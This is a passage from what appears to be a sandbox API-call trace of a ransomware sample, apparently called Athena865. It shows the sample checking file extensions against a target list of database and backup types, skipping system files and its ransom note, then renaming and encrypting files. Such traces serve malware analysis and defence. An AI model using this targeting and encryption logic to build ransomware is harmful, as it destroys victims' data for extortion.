(lpString1="dll", lpString2="mdf") returned -1 [0095.492] lstrlenW (lpString="mdb") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0095.492] lstrlenW (lpString="sql") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0095.492] lstrlenW (lpString="sqlite") returned 6 [0095.492] lstrcmpiW (lpString1="at.dll", lpString2="sqlite") returned -1 [0095.492] lstrlenW (lpString="sqlite3") returned 7 [0095.492] lstrcmpiW (lpString1="mat.dll", lpString2="sqlite3") returned -1 [0095.492] lstrlenW (lpString="sqlitedb") returned 8 [0095.492] lstrcmpiW (lpString1="rmat.dll", lpString2="sqlitedb") returned -1 [0095.492] lstrlenW (lpString="xml") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0095.492] lstrlenW (lpString="$er") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0095.492] lstrlenW (lpString="4dd") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0095.492] lstrlenW (lpString="4dl") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0095.492] lstrlenW (lpString="^^^") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0095.492] lstrlenW (lpString="abs") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0095.492] lstrlenW (lpString="abx") returned 3 [0095.492] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0095.492] lstrlenW (lpString="accdb") returned 5 [0095.492] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0095.492] lstrlenW (lpString="accdc") returned 5 [0095.492] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0095.493] lstrlenW (lpString="accde") returned 5 [0095.493] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0095.493] lstrlenW (lpString="accdr") returned 5 [0095.493] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0095.493] lstrlenW (lpString="accdt") returned 5 [0095.493] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0095.493] lstrlenW (lpString="accdw") returned 5 [0095.493] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0095.493] lstrlenW (lpString="accft") returned 5 [0095.493] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0095.493] lstrlenW (lpString="adb") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.493] lstrlenW (lpString="adb") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.493] lstrlenW (lpString="ade") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0095.493] lstrlenW (lpString="adf") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0095.493] lstrlenW (lpString="adn") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0095.493] lstrlenW (lpString="adp") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0095.493] lstrlenW (lpString="alf") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0095.493] lstrlenW (lpString="ask") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0095.493] lstrlenW (lpString="btr") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0095.493] lstrlenW (lpString="cat") returned 3 [0095.493] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0095.493] lstrlenW (lpString="cdb") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0095.494] lstrlenW (lpString="ckp") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0095.494] lstrlenW (lpString="cma") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0095.494] lstrlenW (lpString="cpd") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0095.494] lstrlenW (lpString="dacpac") returned 6 [0095.494] lstrcmpiW (lpString1="at.dll", lpString2="dacpac") returned -1 [0095.494] lstrlenW (lpString="dad") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0095.494] lstrlenW (lpString="dadiagrams") returned 10 [0095.494] lstrcmpiW (lpString1="format.dll", lpString2="dadiagrams") returned 1 [0095.494] lstrlenW (lpString="daschema") returned 8 [0095.494] lstrcmpiW (lpString1="rmat.dll", lpString2="daschema") returned 1 [0095.494] lstrlenW (lpString="db-journal") returned 10 [0095.494] lstrcmpiW (lpString1="format.dll", lpString2="db-journal") returned 1 [0095.494] lstrlenW (lpString="db-shm") returned 6 [0095.494] lstrcmpiW (lpString1="at.dll", lpString2="db-shm") returned -1 [0095.494] lstrlenW (lpString="db-wal") returned 6 [0095.494] lstrcmpiW (lpString1="at.dll", lpString2="db-wal") returned -1 [0095.494] lstrlenW (lpString="dbc") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0095.494] lstrlenW (lpString="dbs") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0095.494] lstrlenW (lpString="dbt") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0095.494] lstrlenW (lpString="dbv") returned 3 [0095.494] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0095.495] lstrlenW (lpString="dbx") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0095.495] lstrlenW (lpString="dcb") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0095.495] lstrlenW (lpString="dct") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0095.495] lstrlenW (lpString="dcx") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0095.495] lstrlenW (lpString="ddl") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0095.495] lstrlenW (lpString="dlis") returned 4 [0095.495] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0095.495] lstrlenW (lpString="dp1") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0095.495] lstrlenW (lpString="dqy") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0095.495] lstrlenW (lpString="dsk") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0095.495] lstrlenW (lpString="dsn") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0095.495] lstrlenW (lpString="dtsx") returned 4 [0095.495] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0095.495] lstrlenW (lpString="dxl") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0095.495] lstrlenW (lpString="eco") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0095.495] lstrlenW (lpString="ecx") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0095.495] lstrlenW (lpString="edb") returned 3 [0095.495] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0095.496] lstrlenW (lpString="epim") returned 4 [0095.496] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0095.496] lstrlenW (lpString="fcd") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0095.496] lstrlenW (lpString="fdb") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0095.496] lstrlenW (lpString="fic") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0095.496] lstrlenW (lpString="flexolibrary") returned 12 [0095.496] lstrcmpiW (lpString1="tdformat.dll", lpString2="flexolibrary") returned 1 [0095.496] lstrlenW (lpString="fm5") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0095.496] lstrlenW (lpString="fmp") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0095.496] lstrlenW (lpString="fmp12") returned 5 [0095.496] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0095.496] lstrlenW (lpString="fmpsl") returned 5 [0095.496] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0095.496] lstrlenW (lpString="fol") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0095.496] lstrlenW (lpString="fp3") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0095.496] lstrlenW (lpString="fp4") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0095.496] lstrlenW (lpString="fp5") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0095.496] lstrlenW (lpString="fp7") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0095.496] lstrlenW (lpString="fpt") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0095.496] lstrlenW (lpString="frm") returned 3 [0095.496] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0095.497] lstrlenW (lpString="gdb") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.497] lstrlenW (lpString="gdb") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.497] lstrlenW (lpString="grdb") returned 4 [0095.497] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0095.497] lstrlenW (lpString="gwi") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0095.497] lstrlenW (lpString="hdb") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0095.497] lstrlenW (lpString="his") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0095.497] lstrlenW (lpString="ib") returned 2 [0095.497] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0095.497] lstrlenW (lpString="idb") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0095.497] lstrlenW (lpString="ihx") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0095.497] lstrlenW (lpString="itdb") returned 4 [0095.497] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0095.497] lstrlenW (lpString="itw") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0095.497] lstrlenW (lpString="jet") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0095.497] lstrlenW (lpString="jtx") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0095.497] lstrlenW (lpString="kdb") returned 3 [0095.497] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0095.497] lstrlenW (lpString="kexi") returned 4 [0095.497] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0095.497] lstrlenW (lpString="kexic") returned 5 [0095.497] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0095.498] lstrlenW (lpString="kexis") returned 5 [0095.498] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0095.498] lstrlenW (lpString="lgc") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0095.498] lstrlenW (lpString="lwx") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0095.498] lstrlenW (lpString="maf") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0095.498] lstrlenW (lpString="maq") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0095.498] lstrlenW (lpString="mar") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0095.498] lstrlenW (lpString="marshal") returned 7 [0095.498] lstrcmpiW (lpString1="mat.dll", lpString2="marshal") returned 1 [0095.498] lstrlenW (lpString="mas") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0095.498] lstrlenW (lpString="mav") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0095.498] lstrlenW (lpString="maw") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0095.498] lstrlenW (lpString="mdbhtml") returned 7 [0095.498] lstrcmpiW (lpString1="mat.dll", lpString2="mdbhtml") returned -1 [0095.498] lstrlenW (lpString="mdn") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0095.498] lstrlenW (lpString="mdt") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0095.498] lstrlenW (lpString="mfd") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0095.498] lstrlenW (lpString="mpd") returned 3 [0095.498] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0095.498] lstrlenW (lpString="mrg") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0095.499] lstrlenW (lpString="mud") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0095.499] lstrlenW (lpString="mwb") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0095.499] lstrlenW (lpString="myd") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0095.499] lstrlenW (lpString="ndf") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0095.499] lstrlenW (lpString="nnt") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0095.499] lstrlenW (lpString="nrmlib") returned 6 [0095.499] lstrcmpiW (lpString1="at.dll", lpString2="nrmlib") returned -1 [0095.499] lstrlenW (lpString="ns2") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0095.499] lstrlenW (lpString="ns3") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0095.499] lstrlenW (lpString="ns4") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0095.499] lstrlenW (lpString="nsf") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0095.499] lstrlenW (lpString="nv") returned 2 [0095.499] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0095.499] lstrlenW (lpString="nv2") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0095.499] lstrlenW (lpString="nwdb") returned 4 [0095.499] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0095.499] lstrlenW (lpString="nyf") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0095.499] lstrlenW (lpString="odb") returned 3 [0095.499] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.500] lstrlenW (lpString="odb") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.500] lstrlenW (lpString="oqy") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0095.500] lstrlenW (lpString="ora") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0095.500] lstrlenW (lpString="orx") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0095.500] lstrlenW (lpString="owc") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0095.500] lstrlenW (lpString="p96") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0095.500] lstrlenW (lpString="p97") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0095.500] lstrlenW (lpString="pan") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0095.500] lstrlenW (lpString="pdb") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0095.500] lstrlenW (lpString="pdm") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0095.500] lstrlenW (lpString="pnz") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0095.500] lstrlenW (lpString="qry") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0095.500] lstrlenW (lpString="qvd") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0095.500] lstrlenW (lpString="rbf") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0095.500] lstrlenW (lpString="rctd") returned 4 [0095.500] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0095.500] lstrlenW (lpString="rod") returned 3 [0095.500] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0095.501] lstrlenW (lpString="rodx") returned 4 [0095.501] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0095.501] lstrlenW (lpString="rpd") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0095.501] lstrlenW (lpString="rsd") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0095.501] lstrlenW (lpString="sas7bdat") returned 8 [0095.501] lstrcmpiW (lpString1="rmat.dll", lpString2="sas7bdat") returned -1 [0095.501] lstrlenW (lpString="sbf") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0095.501] lstrlenW (lpString="scx") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0095.501] lstrlenW (lpString="sdb") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0095.501] lstrlenW (lpString="sdc") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0095.501] lstrlenW (lpString="sdf") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0095.501] lstrlenW (lpString="sis") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0095.501] lstrlenW (lpString="spq") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0095.501] lstrlenW (lpString="te") returned 2 [0095.501] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0095.501] lstrlenW (lpString="teacher") returned 7 [0095.501] lstrcmpiW (lpString1="mat.dll", lpString2="teacher") returned -1 [0095.501] lstrlenW (lpString="tmd") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0095.501] lstrlenW (lpString="tps") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0095.501] lstrlenW (lpString="trc") returned 3 [0095.501] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.502] lstrlenW (lpString="trc") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.502] lstrlenW (lpString="trm") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0095.502] lstrlenW (lpString="udb") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0095.502] lstrlenW (lpString="udl") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0095.502] lstrlenW (lpString="usr") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0095.502] lstrlenW (lpString="v12") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0095.502] lstrlenW (lpString="vis") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0095.502] lstrlenW (lpString="vpd") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0095.502] lstrlenW (lpString="vvv") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0095.502] lstrlenW (lpString="wdb") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0095.502] lstrlenW (lpString="wmdb") returned 4 [0095.502] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0095.502] lstrlenW (lpString="wrk") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0095.502] lstrlenW (lpString="xdb") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0095.502] lstrlenW (lpString="xld") returned 3 [0095.502] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0095.502] lstrlenW (lpString="xmlff") returned 5 [0095.502] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0095.502] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll.Athena865") returned 97 [0095.503] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.stdformat.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.stdformat.dll.athena865"), dwFlags=0x1) returned 1 [0095.504] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.stdformat.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.stdformat.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.504] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13312) returned 1 [0095.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.504] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.505] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.505] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.505] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.505] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.505] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3700, lpName=0x0) returned 0x154 [0095.508] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3700) returned 0x100000 [0095.512] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.512] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.512] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.512] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.512] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.513] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.513] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0095.513] CloseHandle (hObject=0x154) returned 1 [0095.513] CloseHandle (hObject=0x17c) returned 1 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.513] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.514] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e72900, ftCreationTime.dwHighDateTime=0x1c2a174, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e72900, ftLastWriteTime.dwHighDateTime=0x1c2a174, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdatasrc.dll", cAlternateFileName="MSDATA~1.DLL")) returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="..") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="windows") returned -1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="bootmgr") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="temp") returned -1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="pagefile.sys") returned -1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="boot") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="ids.txt") returned 1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="ntuser.dat") returned -1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="perflogs") returned -1 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2="MSBuild") returned 1 [0095.514] lstrlenW (lpString="msdatasrc.dll") returned 13 [0095.514] lstrcpyW (in: lpString1=0x241e8c8, lpString2="msdatasrc.dll" | out: lpString1="msdatasrc.dll") returned="msdatasrc.dll" [0095.514] lstrlenW (lpString="msdatasrc.dll") returned 13 [0095.514] lstrlenW (lpString="Athena865") returned 9 [0095.514] lstrcmpiW (lpString1="tasrc.dll", lpString2="Athena865") returned 1 [0095.514] lstrlenW (lpString=".dll") returned 4 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".dll") returned 1 [0095.514] lstrlenW (lpString=".lnk") returned 4 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".lnk") returned 1 [0095.514] lstrlenW (lpString=".ini") returned 4 [0095.514] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".ini") returned 1 [0095.514] lstrlenW (lpString=".sys") returned 4 [0095.515] lstrcmpiW (lpString1="msdatasrc.dll", lpString2=".sys") returned 1 [0095.515] lstrlenW (lpString="msdatasrc.dll") returned 13 [0095.515] lstrlenW (lpString="bak") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0095.515] lstrlenW (lpString="ba_") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0095.515] lstrlenW (lpString="dbb") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0095.515] lstrlenW (lpString="vmdk") returned 4 [0095.515] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0095.515] lstrlenW (lpString="rar") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0095.515] lstrlenW (lpString="zip") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0095.515] lstrlenW (lpString="tgz") returned 3 [0095.515] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0095.515] lstrlenW (lpString="vbox") returned 4 [0095.515] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0095.515] lstrlenW 